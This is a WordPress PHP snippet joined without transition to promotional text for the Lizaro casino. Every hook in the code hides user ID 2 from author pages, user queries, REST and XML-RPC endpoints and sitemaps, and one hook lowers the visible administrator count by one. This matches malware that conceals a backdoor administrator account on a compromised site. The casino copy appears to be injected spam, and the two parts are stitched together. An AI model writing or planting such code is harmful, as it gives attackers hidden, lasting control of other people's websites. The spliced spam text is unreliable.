add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Your dashboard holds balance, bet history, active offers and withdrawal updates in one place. Nothing exotic. The mistake people make is reaching the login page through a link in an email or a social post – type the address yourself or use a bookmark, and check the padlock before you enter anything.
Use the exact email from registration. Caps lock, autofill and password managers quietly rewrite characters more often than anyone admits. Forget the password and there’s one correct route: the official reset flow, so your deposit limits and safer gambling settings stay attached to the same profile.
The welcome package advertises 350% up to £18,000 plus 350 free spins. Big numbers are easy; the terms underneath are what matter. Wagering target, eligible games, expiry date. Those three decide whether a bonus is worth claiming or a trap with a countdown.
| Offer type | What to check first |
|---|---|
| Welcome package | Minimum deposit, usually around £10 |
| Free spins | Whether winnings must be wagered before withdrawal |
| Cashback | Which days and which games qualify |
| Loyalty points | Conversion thresholds and level perks |
Every bonus carries a status in your profile – active, completed, expired. Don’t stack promotions unless the rules allow it, screenshot the terms at activation, and note the maximum stake permitted while wagering is live.
The cashier runs deposits and withdrawals through one flow: pick a method, enter the amount, review fees and limits, confirm. Cards, e-wallets and selected crypto are supported, with processing times shown once you’re logged in.
Do your KYC upload before the first withdrawal, not after. It’s the easiest way to avoid sitting on a balance you can’t move. Withdraw to the same method you deposited with where possible, and expect e-wallets to land faster than cards.
Over ten thousand titles, grouped by studio, theme and volatility. Filters do the heavy lifting – Megaways, progressive jackpots, live roulette with a real dealer, instant games when you’ve got five minutes. RTP and rules sit on each game card before launch.
On mobile, the app and the official Android APK reach the same account, bonuses and cashier. Only the installation differs. Skip the copies floating around forums; they cost people their balances.
Set a budget you’d shrug off losing, read the wagering terms on anything you activate, and finish verification while you’re still calm about it. Do that, and Lizaro behaves like what it is: a busy, well-stocked casino that rewards players who bother to read.
]]>